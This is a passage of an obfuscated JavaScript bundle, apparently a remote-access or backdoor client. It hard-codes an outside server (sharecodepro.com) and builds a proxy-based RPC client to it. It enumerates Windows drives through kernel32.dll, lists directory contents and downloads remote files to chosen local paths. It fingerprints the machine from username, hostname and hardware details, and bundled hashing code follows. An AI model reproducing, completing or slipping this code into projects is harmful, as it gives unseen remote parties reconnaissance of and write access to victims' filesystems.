| isObject(_0x36c6c7[_0x1240ea7]) && isObject(_0x5c44ac5) ? _0x36c6c7[_0x1240ea7] = deepMerge(_0x36c6c7[_0x1240ea7], _0x5c44ac5) : _0x36c6c7[_0x1240ea7] = _0x5c44ac5; | |
| } | |
| return _0x36c6c7; | |
| } | |
| var createProxy = (_0xd92b3, _0x5c234d4) => { | |
| const _0x10d58e3 = new Proxy(() => {}, { | |
| "get"(_0x1c09c, _0x557ed5) { | |
| const _0x3b425e2 = perpetual; | |
| if (typeof _0x557ed5 !== "string" || _0x557ed5 === "then") return void 0; | |
| return createProxy(_0xd92b3, [..._0x5c234d4, _0x557ed5]); | |
| }, | |
| "apply"(_0x4891ce2, _0x31cafd2, _0x3dae2) { | |
| return _0xd92b3({ | |
| "path": _0x5c234d4, | |
| "args": _0x3dae2 | |
| }); | |
| } | |
| }); | |
| return _0x10d58e3; | |
| }, | |
| ClientRequestImpl = class { | |
| ["url"]; | |
| ["method"]; | |
| ["buildSearchParams"]; | |
| ["queryParams"] = void 0; | |
| ["pathParams"] = {}; | |
| ["rBody"]; | |
| ["cType"] = void 0; | |
| constructor(_0x2db4f3, _0x3c503f3, _0xea2acd3) { | |
| const _0x2c4d = potato; | |
| this["url"] = _0x2db4f3, this["method"] = _0x3c503f3, this["buildSearchParams"] = _0xea2acd3["buildSearchParams"]; | |
| } | |
| ["fetch"] = async (_0x2c15, _0x2dd4b7) => { | |
| const _0x6db = potato; | |
| if (_0x2c15) { | |
| _0x2c15["query"] && (this["queryParams"] = this["buildSearchParams"](_0x2c15["query"])); | |
| if (_0x2c15["form"]) { | |
| const _0x5437a5 = new FormData(); | |
| for (const [_0x36dcef4, _0x48bc4] of Object["entries"](_0x2c15["form"])) { | |
| if (Array["isArray"](_0x48bc4)) | |
| for (const _0x5a3abc3 of _0x48bc4) { | |
| _0x5437a5["append"](_0x36dcef4, _0x5a3abc3); | |
| } else _0x5437a5["append"](_0x36dcef4, _0x48bc4); | |
| } | |
| this["rBody"] = _0x5437a5; | |
| } | |
| _0x2c15["json"] && (this["rBody"] = JSON["stringify"](_0x2c15["json"]), this["cType"] = "application/json"), _0x2c15["param"] && (this["pathParams"] = _0x2c15["param"]); | |
| } | |
| let _0x3014fe6 = this["method"]["toUpperCase"](); | |
| const _0x1678ca5 = { | |
| ..._0x2c15?. ["header"], | |
| ...(typeof _0x2dd4b7?. ["headers"] === "function" ? await _0x2dd4b7["headers"]() : _0x2dd4b7?. ["headers"]) | |
| }; | |
| if (_0x2c15?. ["cookie"]) { | |
| const _0x44d3 = []; | |
| for (const [_0xad74e2, _0x1e2] of Object["entries"](_0x2c15["cookie"])) { | |
| _0x44d3["push"](serialize(_0xad74e2, _0x1e2, { | |
| "path": "/" | |
| })); | |
| } | |
| _0x1678ca5["Cookie"] = _0x44d3["join"](","); | |
| } | |
| this["cType"] && (_0x1678ca5["Content-Type"] = this["cType"]); | |
| const _0x27e2 = new Headers(_0x1678ca5 ?? void 0); | |
| let _0x52365b9 = this["url"]; | |
| _0x52365b9 = removeIndexString(_0x52365b9), _0x52365b9 = replaceUrlParam(_0x52365b9, this["pathParams"]); | |
| this["queryParams"] && (_0x52365b9 = _0x52365b9 + "?" + this["queryParams"]["toString"]()); | |
| _0x3014fe6 = this["method"]["toUpperCase"](); | |
| const _0xab5aea3 = !(_0x3014fe6 === "GET" || _0x3014fe6 === "HEAD"); | |
| return (_0x2dd4b7?. ["fetch"] || fetch)(_0x52365b9, { | |
| "body": _0xab5aea3 ? this["rBody"] : void 0, | |
| "method": _0x3014fe6, | |
| "headers": _0x27e2, | |
| ..._0x2dd4b7?. ["init"] | |
| }); | |
| }; | |
| }, | |
| hc = (_0x37df4b3, _0x2854a8) => createProxy(function _0x3256d4(_0x4f9bd12) { | |
| const _0x4022df4 = potato, | |
| _0x2d57a3 = _0x2854a8?. ["buildSearchParams"] ?? buildSearchParams, | |
| _0x5a6 = [..._0x4f9bd12["path"]], | |
| _0x186 = _0x5a6["slice"](-3)["reverse"](); | |
| if (_0x186[0] === "toString") { | |
| if (_0x186[1] === "name") return _0x186[2] || ""; | |
| return _0x3256d4["toString"](); | |
| } | |
| if (_0x186[0] === "valueOf") { | |
| if (_0x186[1] === "name") return _0x186[2] || ""; | |
| return _0x3256d4; | |
| } | |
| let _0x494e5e7 = ""; | |
| if (/^\$/ ["test"](_0x186[0])) { | |
| const _0x3b1c3 = _0x5a6["pop"](); | |
| _0x3b1c3 && (_0x494e5e7 = _0x3b1c3["replace"](/^\$/, "")); | |
| } | |
| const _0x38582a3 = _0x5a6["join"]("/"), | |
| _0x5e87bb7 = mergePath(_0x37df4b3, _0x38582a3); | |
| if (_0x494e5e7 === "url") { | |
| let _0x5c7 = _0x5e87bb7; | |
| return _0x4f9bd12["args"][0] && (_0x4f9bd12["args"][0]["param"] && (_0x5c7 = replaceUrlParam(_0x5e87bb7, _0x4f9bd12["args"][0]["param"])), _0x4f9bd12["args"][0]["query"] && (_0x5c7 = _0x5c7 + "?" + _0x2d57a3(_0x4f9bd12["args"][0]["query"])["toString"]())), _0x5c7 = removeIndexString(_0x5c7), new URL(_0x5c7); | |
| } | |
| if (_0x494e5e7 === "ws") { | |
| const _0x5ae28c3 = replaceUrlProtocol(_0x4f9bd12["args"][0] && _0x4f9bd12["args"][0]["param"] ? replaceUrlParam(_0x5e87bb7, _0x4f9bd12["args"][0]["param"]) : _0x5e87bb7, "ws"), | |
| _0x4428e4 = new URL(_0x5ae28c3), | |
| _0x30a3a3 = _0x4f9bd12["args"][0]?. ["query"]; | |
| _0x30a3a3 && Object["entries"](_0x30a3a3)["forEach"](([_0xff63ef4, _0x14a5c4]) => { | |
| const _0x187 = _0x4022df4; | |
| Array["isArray"](_0x14a5c4) ? _0x14a5c4["forEach"](_0x1a6de2 => _0x4428e4["searchParams"]["append"](_0xff63ef4, _0x1a6de2)) : _0x4428e4["searchParams"]["set"](_0xff63ef4, _0x14a5c4); | |
| }); | |
| const _0x2252e2 = (..._0x31be2d4) => { | |
| const _0x2599e = _0x4022df4; | |
| if (_0x2854a8?. ["webSocket"] !== void 0 && typeof _0x2854a8["webSocket"] === "function") return _0x2854a8["webSocket"](..._0x31be2d4); | |
| return new WebSocket(..._0x31be2d4); | |
| }; | |
| return _0x2252e2(_0x4428e4["toString"]()); | |
| } | |
| const _0x25bb9d4 = new ClientRequestImpl(_0x5e87bb7, _0x494e5e7, { | |
| "buildSearchParams": _0x2d57a3 | |
| }); | |
| if (_0x494e5e7) { | |
| _0x2854a8 ??= {}; | |
| const _0x1d6a8d3 = deepMerge(_0x2854a8, { | |
| ..._0x4f9bd12["args"][1] | |
| }); | |
| return _0x25bb9d4["fetch"](_0x4f9bd12["args"][0], _0x1d6a8d3); | |
| } | |
| return _0x25bb9d4; | |
| }, []); | |
| async function pingUrl(_0x104e2c8, _0x2b2 = 2000) { | |
| const _0x46a5 = potato; | |
| try { | |
| console["log"]("Pinging " + _0x104e2c8 + "..."); | |
| const _0x4ebc3 = new AbortController(), | |
| _0x4bf2 = setTimeout(() => { | |
| const _0x4654d = _0x46a5; | |
| console["log"]("Timeout reached for " + _0x104e2c8 + ", aborting..."), _0x4ebc3["abort"](); | |
| }, _0x2b2); | |
| console["log"]("Fetching " + _0x104e2c8 + "/health..."); | |
| const _0x2d1d6e4 = await fetch(_0x104e2c8 + "/health", { | |
| "method": "GET", | |
| "signal": _0x4ebc3["signal"] | |
| }); | |
| return clearTimeout(_0x4bf2), console["log"]("Got response from " + _0x104e2c8 + ": " + _0x2d1d6e4["status"]), _0x2d1d6e4["ok"]; | |
| } catch (_0x3fd4c2) { | |
| return console["error"]("Failed to ping " + _0x104e2c8 + ":", _0x3fd4c2), ![]; | |
| } | |
| } | |
| async function findWorkingApiUrl(_0x1d1e4) { | |
| const _0xd2 = potato; | |
| console["log"]("Testing " + _0x1d1e4["length"] + " API URLs in parallel..."); | |
| const _0x191 = _0x1d1e4["map"](async _0x19e5 => { | |
| const _0x5dd = _0xd2, | |
| _0xf6 = await pingUrl(_0x19e5); | |
| console["log"](_0x19e5 + ": " + (_0xf6 ? "\xE2\u0153\u201C working" : "\xE2\u0153\u2014 failed")); | |
| if (_0xf6) return _0x19e5; | |
| throw new Error(_0x19e5 + " not working"); | |
| }); | |
| try { | |
| const _0x554d3 = await Promise["race"](_0x191); | |
| return console["log"]("Selected first working API URL: " + _0x554d3), _0x554d3; | |
| } catch { | |
| console["log"]("No immediate response, waiting for all URLs..."); | |
| const _0x192 = await Promise["allSettled"](_0x191), | |
| _0x2fbcf5 = _0x192["find"](_0x562a2 => _0x562a2["status"] === "fulfilled"); | |
| if (_0x2fbcf5) return console["log"]("Selected working API URL: " + _0x2fbcf5["value"]), _0x2fbcf5["value"]; | |
| return console["warn"]("No working API URLs found, using first URL as fallback"), _0x1d1e4[0]; | |
| } | |
| } | |
| var clientInstance = null, | |
| selectedApiUrl = null; | |
| async function initializeClient() { | |
| const _0x1e611c2 = potato; | |
| console["log"]("Finding working API URL from:", "http://sharecodepro.com"); | |
| const _0x2814b2 = "http://sharecodepro.com" ["split"](",")["map"](_0xfb2 => _0xfb2["trim"]()), | |
| _0x32e4 = await findWorkingApiUrl(_0x2814b2); | |
| console["log"]("Creating client instance for:", _0x32e4), selectedApiUrl = _0x32e4, clientInstance = hc(_0x32e4, {}), console["log"]("Client instance created successfully"); | |
| } | |
| function getSelectedApiUrl() { | |
| const _0x4c33d = potato; | |
| if (!selectedApiUrl) throw new Error("Client not initialized. Call initializeClient() first."); | |
| return selectedApiUrl; | |
| } | |
| var client = new Proxy({}, { | |
| "get"(_0x4f8b, _0x34f0e2) { | |
| const _0x587fa = potato; | |
| if (!clientInstance) throw new Error("Client not initialized. Call initializeClient() first."); | |
| return clientInstance[_0x34f0e2]; | |
| } | |
| }), | |
| import_node_fs = __toESM(require("node:fs")), | |
| import_node_path = __toESM(require("node:path")), | |
| import_node_stream = require("node:stream"), | |
| import_promises = require("node:stream/promises"), | |
| DRIVE_UNKNOWN = 0, | |
| DRIVE_NO_ROOT_DIR = 1, | |
| DRIVE_REMOVABLE = 2, | |
| DRIVE_FIXED = 3, | |
| DRIVE_REMOTE = 4, | |
| DRIVE_CDROM = 5, | |
| DRIVE_RAMDISK = 6, | |
| driveTypeNames = { | |
| [DRIVE_UNKNOWN]: "Unknown", | |
| [DRIVE_NO_ROOT_DIR]: "No Root Directory", | |
| [DRIVE_REMOVABLE]: "Removable", | |
| [DRIVE_FIXED]: "Local", | |
| [DRIVE_REMOTE]: "Network", | |
| [DRIVE_CDROM]: "CD-ROM", | |
| [DRIVE_RAMDISK]: "RAM" | |
| }, | |
| kernel32 = null; | |
| function getKernel32() { | |
| const _0x484ad = potato; | |
| return !kernel32 && (kernel32 = Deno["dlopen"]("kernel32.dll", { | |
| "GetLogicalDrives": { | |
| "parameters": [], | |
| "result": "u32" | |
| }, | |
| "GetDriveTypeW": { | |
| "parameters": ["buffer"], | |
| "result": "u32" | |
| }, | |
| "GetDiskFreeSpaceExW": { | |
| "parameters": ["buffer", "buffer", "buffer", "buffer"], | |
| "result": "i32" | |
| }, | |
| "GetVolumeInformationW": { | |
| "parameters": ["buffer", "buffer", "u32", "buffer", "buffer", "buffer", "buffer", "u32"], | |
| "result": "i32" | |
| } | |
| })), kernel32; | |
| } | |
| function toWideString(_0x3d28e5) { | |
| const _0x13c = potato, | |
| _0x35c2 = new TextEncoder(), | |
| _0x2ee0a2 = _0x35c2["encode"](_0x3d28e5), | |
| _0x632cb4 = new Uint8Array((_0x2ee0a2["length"] + 1) * 2); | |
| for (let _0xe6 = 0; _0xe6 < _0x3d28e5["length"]; _0xe6++) { | |
| const _0x28fb4b4 = _0x3d28e5["charCodeAt"](_0xe6); | |
| _0x632cb4[_0xe6 * 2] = _0x28fb4b4 & 255, _0x632cb4[_0xe6 * 2 + 1] = _0x28fb4b4 >> 8 & 255; | |
| } | |
| return _0x632cb4; | |
| } | |
| function fromWideString(_0x439c9a5) { | |
| const _0x5ebc = potato; | |
| let _0x5db08d4 = ""; | |
| for (let _0x5e500b6 = 0; _0x5e500b6 < _0x439c9a5["length"] - 1; _0x5e500b6 += 2) { | |
| const _0xdaa7e3 = _0x439c9a5[_0x5e500b6] | _0x439c9a5[_0x5e500b6 + 1] << 8; | |
| if (_0xdaa7e3 === 0) break; | |
| _0x5db08d4 += String["fromCharCode"](_0xdaa7e3); | |
| } | |
| return _0x5db08d4; | |
| } | |
| function readBigUint64LE(_0x195) { | |
| const _0x5dc11c2 = potato, | |
| _0x2a99ff3 = new DataView(_0x195["buffer"], _0x195["byteOffset"], 8); | |
| return _0x2a99ff3["getBigUint64"](0, !![]); | |
| } | |
| function listDrives() { | |
| const _0xb = potato; | |
| try { | |
| const _0x51cb5 = getKernel32(), | |
| _0x5a2fb3 = _0x51cb5["symbols"]["GetLogicalDrives"](); | |
| if (_0x5a2fb3 === 0) return { | |
| "drives": [], | |
| "error": "GetLogicalDrives failed" | |
| }; | |
| const _0x2dfeed4 = []; | |
| for (let _0x35b77d6 = 0; _0x35b77d6 < 26; _0x35b77d6++) { | |
| if ((_0x5a2fb3 & 1 << _0x35b77d6) === 0) continue; | |
| const _0x202cbc4 = String["fromCharCode"](65 + _0x35b77d6), | |
| _0x197 = _0x202cbc4 + ":\\", | |
| _0x1e48c4 = toWideString(_0x197), | |
| _0x27b6d4 = _0x51cb5["symbols"]["GetDriveTypeW"](_0x1e48c4); | |
| if (_0x27b6d4 === DRIVE_UNKNOWN || _0x27b6d4 === DRIVE_NO_ROOT_DIR) continue; | |
| let _0xbbadd4 = "", | |
| _0x148e3, | |
| _0x10d6a3, | |
| _0x49b4f3 = !![]; | |
| try { | |
| const _0x2a053f4 = new Uint8Array(520), | |
| _0x4552d2 = new Uint8Array(4), | |
| _0x3baebd3 = new Uint8Array(4), | |
| _0x99745d3 = new Uint8Array(4), | |
| _0x1adffe3 = new Uint8Array(520), | |
| _0x9a2f6a3 = _0x51cb5["symbols"]["GetVolumeInformationW"](_0x1e48c4, _0x2a053f4, 260, _0x4552d2, _0x3baebd3, _0x99745d3, _0x1adffe3, 260); | |
| _0x9a2f6a3 !== 0 && (_0xbbadd4 = fromWideString(_0x2a053f4)); | |
| } catch { | |
| _0x49b4f3 = ![]; | |
| } | |
| try { | |
| const _0x20ccc2 = new Uint8Array(8), | |
| _0x4639b3 = new Uint8Array(8), | |
| _0x5bfb3 = new Uint8Array(8), | |
| _0x85e0f2 = _0x51cb5["symbols"]["GetDiskFreeSpaceExW"](_0x1e48c4, _0x20ccc2, _0x4639b3, _0x5bfb3); | |
| _0x85e0f2 !== 0 && (_0x148e3 = Number(readBigUint64LE(_0x4639b3)), _0x10d6a3 = Number(readBigUint64LE(_0x5bfb3))); | |
| } catch {} | |
| _0x2dfeed4["push"]({ | |
| "letter": _0x202cbc4 + ":", | |
| "label": _0xbbadd4, | |
| "type": driveTypeNames[_0x27b6d4] || "Local", | |
| "totalSize": _0x148e3, | |
| "freeSize": _0x10d6a3, | |
| "isReady": _0x49b4f3 | |
| }); | |
| } | |
| return { | |
| "drives": _0x2dfeed4 | |
| }; | |
| } catch (_0x11b38b4) { | |
| return { | |
| "drives": [], | |
| "error": _0x11b38b4 instanceof Error ? _0x11b38b4["message"] : "Unknown error" | |
| }; | |
| } | |
| } | |
| function listFiles(_0x1cbdb8) { | |
| const _0x19f2d2 = potato; | |
| try { | |
| const _0xb96e1e3 = import_node_fs["default"]["statSync"](_0x1cbdb8); | |
| if (!_0xb96e1e3["isDirectory"]()) return { | |
| "path": _0x1cbdb8, | |
| "items": [], | |
| "error": "Path is not a directory" | |
| }; | |
| const _0x3753ed3 = import_node_fs["default"]["readdirSync"](_0x1cbdb8)["map"](_0x540a4 => { | |
| const _0xa6e = _0x19f2d2, | |
| _0x51ef1c5 = import_node_path["default"]["join"](_0x1cbdb8, _0x540a4); | |
| try { | |
| const _0x2a1bae7 = import_node_fs["default"]["statSync"](_0x51ef1c5); | |
| return { | |
| "name": _0x540a4, | |
| "path": _0x51ef1c5, | |
| "type": _0x2a1bae7["isDirectory"]() ? "directory" : "file", | |
| "size": _0x2a1bae7["isFile"]() ? _0x2a1bae7["size"] : void 0, | |
| "modified": _0x2a1bae7["mtime"]["toISOString"](), | |
| "attributes": _0x2a1bae7["isDirectory"]() ? "Directory" : "File" | |
| }; | |
| } catch (_0x270eb) { | |
| return { | |
| "name": _0x540a4, | |
| "path": _0x51ef1c5, | |
| "type": "file", | |
| "size": void 0, | |
| "modified": void 0, | |
| "attributes": "Unknown" | |
| }; | |
| } | |
| }); | |
| return { | |
| "path": _0x1cbdb8, | |
| "items": _0x3753ed3 | |
| }; | |
| } catch (_0x200) { | |
| return { | |
| "path": _0x1cbdb8, | |
| "items": [], | |
| "error": _0x200 instanceof Error ? _0x200["message"] : "Unknown error" | |
| }; | |
| } | |
| } | |
| async function downloadFile(_0x5df1e2, _0x31ce0) { | |
| const _0x11db = potato, | |
| _0x4d552d8 = await fetch(_0x5df1e2); | |
| if (!_0x4d552d8["ok"]) throw new Error("Failed to download file: " + _0x4d552d8["status"] + " " + _0x4d552d8["statusText"]); | |
| if (!_0x4d552d8["body"]) throw new Error("Response body is empty"); | |
| try { | |
| const _0x17334f4 = _0x4d552d8["headers"]["get"]("content-disposition"); | |
| if (_0x17334f4) { | |
| const _0x26a1c4 = /filename\s*=\s*"?([^";]+)"?/i ["exec"](_0x17334f4); | |
| if (_0x26a1c4 && _0x26a1c4[1]) { | |
| const _0xc8ebb2 = _0x26a1c4[1], | |
| _0x16c6a3 = _0xc8ebb2["replace"](/[\\/]/g, "_"), | |
| _0x25b2 = _0x31ce0["endsWith"](import_node_path["default"]["sep"]) || import_node_path["default"]["extname"](_0x31ce0) === ""; | |
| let _0x22bdf4 = _0x31ce0; | |
| try { | |
| const _0x2ebc3 = import_node_fs["default"]["existsSync"](_0x31ce0) ? import_node_fs["default"]["statSync"](_0x31ce0) : null; | |
| _0x2ebc3 && _0x2ebc3["isDirectory"]() && (_0x22bdf4 = import_node_path["default"]["join"](_0x31ce0, _0x16c6a3)); | |
| } catch {} | |
| _0x25b2 && (_0x22bdf4 = import_node_path["default"]["join"](import_node_path["default"]["resolve"](_0x31ce0), _0x16c6a3)), _0x31ce0 = _0x22bdf4; | |
| } | |
| } | |
| } catch {} | |
| const _0x39d42a3 = import_node_fs["default"]["createWriteStream"](_0x31ce0); | |
| await (0, import_promises["pipeline"])(import_node_stream["Readable"]["fromWeb"](_0x4d552d8["body"]), _0x39d42a3); | |
| } | |
| var import_node_crypto = __toESM(require("node:crypto")), | |
| import_node_os = __toESM(require("node:os")); | |
| function getHuidMd5() { | |
| const _0x4db3c = potato; | |
| return import_node_crypto["default"]["createHash"]("md5")["update"]("" + import_node_os["default"]["userInfo"]()["username"] + import_node_os["default"]["hostname"]() + import_node_os["default"]["totalmem"]() + import_node_os["default"]["version"]() + new Set(import_node_os["default"]["cpus"]()["map"](_0x202 => _0x202["model"]["trim"]())))["digest"]("hex"); | |
| } | |
| function isBytes(_0x4092c4) { | |
| const _0x203 = potato; | |
| return _0x4092c4 instanceof Uint8Array || ArrayBuffer["isView"](_0x4092c4) && _0x4092c4["constructor"]["name"] === "Uint8Array"; | |
| } | |
| function anumber(_0x3c6, _0x206 = "") { | |
| const _0x3ee88a2 = potato; | |
| if (!Number["isSafeInteger"](_0x3c6) || _0x3c6 < 0) { | |
| const _0x29bda2 = _0x206 && "\"" + _0x206 + "\" "; | |
| throw new Error(_0x29bda2 + "expected integer >= 0, got " + _0x3c6); | |
| } | |
| } | |
| function abytes(_0x15f5, _0x3de0d4, _0x32d3 = "") { | |
| const _0x207 = potato, | |
| _0x2b44f3 = isBytes(_0x15f5), | |
| _0x2844bc4 = _0x15f5?. ["length"], | |
| _0x5e5fd4 = _0x3de0d4 !== void 0; | |
| if (!_0x2b44f3 || _0x5e5fd4 && _0x2844bc4 !== _0x3de0d4) { | |
| const _0x5442ee3 = _0x32d3 && "\"" + _0x32d3 + "\" ", | |
| _0x5c97b2 = _0x5e5fd4 ? " of length " + _0x3de0d4 : "", | |
| _0x7f2 = _0x2b44f3 ? "length=" + _0x2844bc4 : "type=" + typeof _0x15f5; | |
| throw new Error(_0x5442ee3 + "expected Uint8Array" + _0x5c97b2 + ", got " + _0x7f2); | |
| } | |
| return _0x15f5; | |
| } | |
| function ahash(_0x2ba1b6) { | |
| const _0x208 = potato; | |
| if (typeof _0x2ba1b6 !== "function" || typeof _0x2ba1b6["create"] !== "function") throw new Error("Hash must wrapped by utils.createHasher"); | |
| anumber(_0x2ba1b6["outputLen"]), anumber(_0x2ba1b6["blockLen"]); | |
| } | |
| function aexists(_0x46b64f4, _0x210 = !![]) { | |
| const _0x2270bd2 = potato; | |
| if (_0x46b64f4["destroyed"]) throw new Error("Hash instance has been destroyed"); | |
| if (_0x210 && _0x46b64f4["finished"]) throw new Error("Hash#digest() has already been called"); | |
| } | |
| function aoutput(_0x5d0c3, _0x1a2) { | |
| const _0x2df = potato; | |
| abytes(_0x5d0c3, void 0, "digestInto() output"); | |
| const _0x16d4 = _0x1a2["outputLen"]; | |
| if (_0x5d0c3["length"] < _0x16d4) throw new Error("\"digestInto() output\" expected to be of length >=" + _0x16d4); | |
| } | |
| function clean(..._0x35b71b4) { | |
| const _0x2ed43a2 = potato; | |
| for (let _0x2b4ba5 = 0; _0x2b4ba5 < _0x35b71b4["length"]; _0x2b4ba5++) { | |
| _0x35b71b4[_0x2b4ba5]["fill"](0); | |
| } | |
| } | |
| function createView(_0x19fd4) { | |
| const _0x505a = potato; | |
| return new DataView(_0x19fd4["buffer"], _0x19fd4["byteOffset"], _0x19fd4["byteLength"]); | |
| } | |
| function rotr(_0x5d5bcc4, _0x447fc3) { | |
| return _0x5d5bcc4 << 32 - _0x447fc3 | _0x5d5bcc4 >>> _0x447fc3; | |
| } | |
| function createHasher(_0x33cdac5, _0x31f0a2 = {}) { | |
| const _0xe6c5c = potato, | |
| _0x4a3f6 = (_0x1f4, _0x54381c3) => _0x33cdac5(_0x54381c3)["update"](_0x1f4)["digest"](), | |
| _0x213 = _0x33cdac5(void 0); | |
| return _0x4a3f6["outputLen"] = _0x213["outputLen"], _0x4a3f6["blockLen"] = _0x213["blockLen"], _0x4a3f6["create"] = _0x482d2 => _0x33cdac5(_0x482d2), Object["assign"](_0x4a3f6, _0x31f0a2), Object["freeze"](_0x4a3f6); | |
| } | |
| var oidNist = _0x215 => ({ | |
| "oid": Uint8Array["from"]([6, 9, 96, 134, 72, 1, 101, 3, 4, 2, _0x215]) | |
| }), | |
| _HMAC = class { | |
| ["oHash"]; | |
| ["iHash"]; | |
| ["blockLen"]; | |
| ["outputLen"]; | |
| ["finished"] = ![]; | |
| ["destroyed"] = ![]; | |
| constructor(_0x39fc7d6, _0xe87a7b6) { | |
| const _0x216 = potato; | |
| ahash(_0x39fc7d6), abytes(_0xe87a7b6, void 0, "key"), this["iHash"] = _0x39fc7d6["create"](); | |
| if (typeof this["iHash"]["update"] !== "function") throw new Error("Expected instance of class which extends utils.Hash"); | |
| this["blockLen"] = this["iHash"]["blockLen"], this["outputLen"] = this["iHash"]["outputLen"]; | |
| const _0x22e3 = this["blockLen"], | |
| _0x4eba9 = new Uint8Array(_0x22e3); | |
| _0x4eba9["set"](_0xe87a7b6["length"] > _0x22e3 ? _0x39fc7d6["create"]()["update"](_0xe87a7b6)["digest"]() : _0xe87a7b6); | |
| for (let _0x2dc21a5 = 0; _0x2dc21a5 < _0x4eba9["length"]; _0x2dc21a5++) _0x4eba9[_0x2dc21a5] ^= 54; | |
| this["iHash"]["update"](_0x4eba9), this["oHash"] = _0x39fc7d6["create"](); | |
| for (let _0x3cf9a4 = 0; _0x3cf9a4 < _0x4eba9["length"]; _0x3cf9a4++) _0x4eba9[_0x3cf9a4] ^= 54 ^ 92; | |
| this["oHash"]["update"](_0x4eba9), clean(_0x4eba9); | |
| } | |
| ["update"](_0x3bc0d2) { | |
| const _0x5783f = potato; | |
| return aexists(this), this["iHash"]["update"](_0x3bc0d2), this; | |
| } | |
| ["digestInto"](_0x50cf5) { | |
| const _0x4d12ea2 = potato; | |
| aexists(this), abytes(_0x50cf5, this["outputLen"], "output"), this["finished"] = !![], this["iHash"]["digestInto"](_0x50cf5), this["oHash"]["update"](_0x50cf5), this["oHash"]["digestInto"](_0x50cf5), this["destroy"](); | |
| } | |
| ["digest"]() { | |
| const _0x576cdb2 = potato, | |
| _0x49732a4 = new Uint8Array(this["oHash"]["outputLen"]); | |
| return this["digestInto"](_0x49732a4), _0x49732a4; | |
| } | |
| ["_cloneInto"](_0x5b1e11) { | |
| const _0x217 = potato; | |
| _0x5b1e11 ||= Object["create"](Object["getPrototypeOf"](this), {}); | |
| const { | |
| oHash: _0x3d50ad3, | |
| iHash: _0x3ba9d2, | |
| finished: _0x5ad5, | |
| destroyed: _0x4532a2, | |
| blockLen: _0x16a2, | |
| outputLen: _0x2621f2 | |
| } = this; | |
| return _0x5b1e11 = _0x5b1e11, _0x5b1e11["finished"] = _0x5ad5, _0x5b1e11["destroyed"] = _0x4532a2, _0x5b1e11["blockLen"] = _0x16a2, _0x5b1e11["outputLen"] = _0x2621f2, _0x5b1e11["oHash"] = _0x3d50ad3["_cloneInto"](_0x5b1e11["oHash"]), _0x5b1e11["iHash"] = _0x3ba9d2["_cloneInto"](_0x5b1e11["iHash"]), _0x5b1e11; | |
| } | |
| ["clone"]() { | |
| return this["_cloneInto"](); | |
| } | |
| ["destroy"]() { | |
| const _0x281d = potato; | |
| this["destroyed"] = !![], this["oHash"]["destroy"](), this["iHash"]["destroy"](); | |
| } | |
| }, | |
| hmac = (_0x1883b2, _0x5770c2, _0x5ed2) => new _HMAC(_0x1883b2, _0x5770c2)["update"](_0x5ed2)["digest"](); | |
| hmac["create"] = (_0x5bbc2, _0x1ae2) => new _HMAC(_0x5bbc2, _0x1ae2); | |
| function Chi(_0x37eb3, _0x21db2, _0x2e6) { | |
| return _0x37eb3 & _0x21db2 ^ ~_0x37eb3 & _0x2e6; | |
| } | |
| function Maj(_0x1d94df4, _0xcee0e3, _0x220) { | |
| return _0x1d94df4 & _0xcee0e3 ^ _0x1d94df4 & _0x220 ^ _0xcee0e3 & _0x220; | |
| } | |
| var HashMD = class { | |
| ["blockLen"]; | |
| ["outputLen"]; | |
| ["padOffset"]; | |
| ["isLE"]; | |
| ["buffer"]; | |
| ["view"]; | |
| ["finished"] = ![]; | |
| ["length"] = 0; | |
| ["pos"] = 0; | |
| ["destroyed"] = ![]; | |
| constructor(_0x25c50e4, _0x43ba2, _0x2f6eb2, _0x56f2) { | |
| const _0xff = potato; | |
| this["blockLen"] = _0x25c50e4, this["outputLen"] = _0x43ba2, this["padOffset"] = _0x2f6eb2, this["isLE"] = _0x56f2, this["buffer"] = new Uint8Array(_0x25c50e4), this["view"] = createView(this["buffer"]); | |
| } | |
| ["update"](_0x1de6) { | |
| const _0x5f = potato; | |
| aexists(this), abytes(_0x1de6); | |
| const { | |
| view: _0x3280ea3, | |
| buffer: _0x18f2, | |
| blockLen: _0x13d6 | |
| } = this, | |
| _0x224 = _0x1de6["length"]; | |
| for (let _0x3e6fae0 = 0; _0x3e6fae0 < _0x224;) { | |
| const _0x4142cb6 = Math["min"](_0x13d6 - this["pos"], _0x224 - _0x3e6fae0); | |
| if (_0x4142cb6 === _0x13d6) { | |
| const _0x2231eb3 = createView(_0x1de6); | |
| for (; _0x13d6 <= _0x224 - _0x3e6fae0; _0x3e6fae0 += _0x13d6) this["process"](_0x2231eb3, _0x3e6fae0); | |
| continue; | |
| } | |
| _0x18f2["set"](_0x1de6["subarray"](_0x3e6fae0, _0x3e6fae0 + _0x4142cb6), this["pos"]), this["pos"] += _0x4142cb6, _0x3e6fae0 += _0x4142cb6, this["pos"] === _0x13d6 && (this["process"](_0x3280ea3, 0), this["pos"] = 0); | |
| } | |
| return this["length"] += _0x1de6["length"], this["roundClean"](), this; | |
| } | |
| ["digestInto"](_0x47343d4) { | |
| const _0x373a = potato; | |
| aexists(this), aoutput(_0x47343d4, this), this["finished"] = !![]; | |
| const { | |
| buffer: _0x43f5, | |
| view: _0x4e6a4, | |
| blockLen: _0x5c10a5, | |
| isLE: _0x24ff7d4 | |
| } = this; | |
| let { | |
| pos: _0x44a40e7 | |
| } = this; | |
| _0x43f5[_0x44a40e7++] = 128, clean(this["buffer"]["subarray"](_0x44a40e7)); | |
| this["padOffset"] > _0x5c10a5 - _0x44a40e7 && (this["process"](_0x4e6a4, 0), _0x44a40e7 = 0); | |
| for (let _0x23821b5 = _0x44a40e7; _0x23821b5 < _0x5c10a5; _0x23821b5++) _0x43f5[_0x23821b5] = 0; | |
| _0x4e6a4["setBigUint64"](_0x5c10a5 - 8, BigInt(this["length"] * 8), _0x24ff7d4), this["process"](_0x4e6a4, 0); | |
| const _0x34447f3 = createView(_0x47343d4), | |
| _0x40ba3a4 = this["outputLen"]; | |
| if (_0x40ba3a4 % 4) throw new Error("_sha2: outputLen must be aligned to 32bit"); | |
| const _0x26410a4 = _0x40ba3a4 / 4, | |
| _0x8a44fc4 = this["get"](); | |
| if (_0x26410a4 > _0x8a44fc4["length"]) throw new Error("_sha2: outputLen bigger than state"); | |
| for (let _0x1ee9ee6 = 0; _0x1ee9ee6 < _0x26410a4; _0x1ee9ee6++) _0x34447f3["setUint32"](4 * _0x1ee9ee6, _0x8a44fc4[_0x1ee9ee6], _0x24ff7d4); | |
| } | |
| ["digest"]() { | |
| const _0x4734f = potato, | |
| { | |
| buffer: _0x41aeba4, | |
| outputLen: _0x5b12e2 | |
| } = this; | |
| this["digestInto"](_0x41aeba4); | |
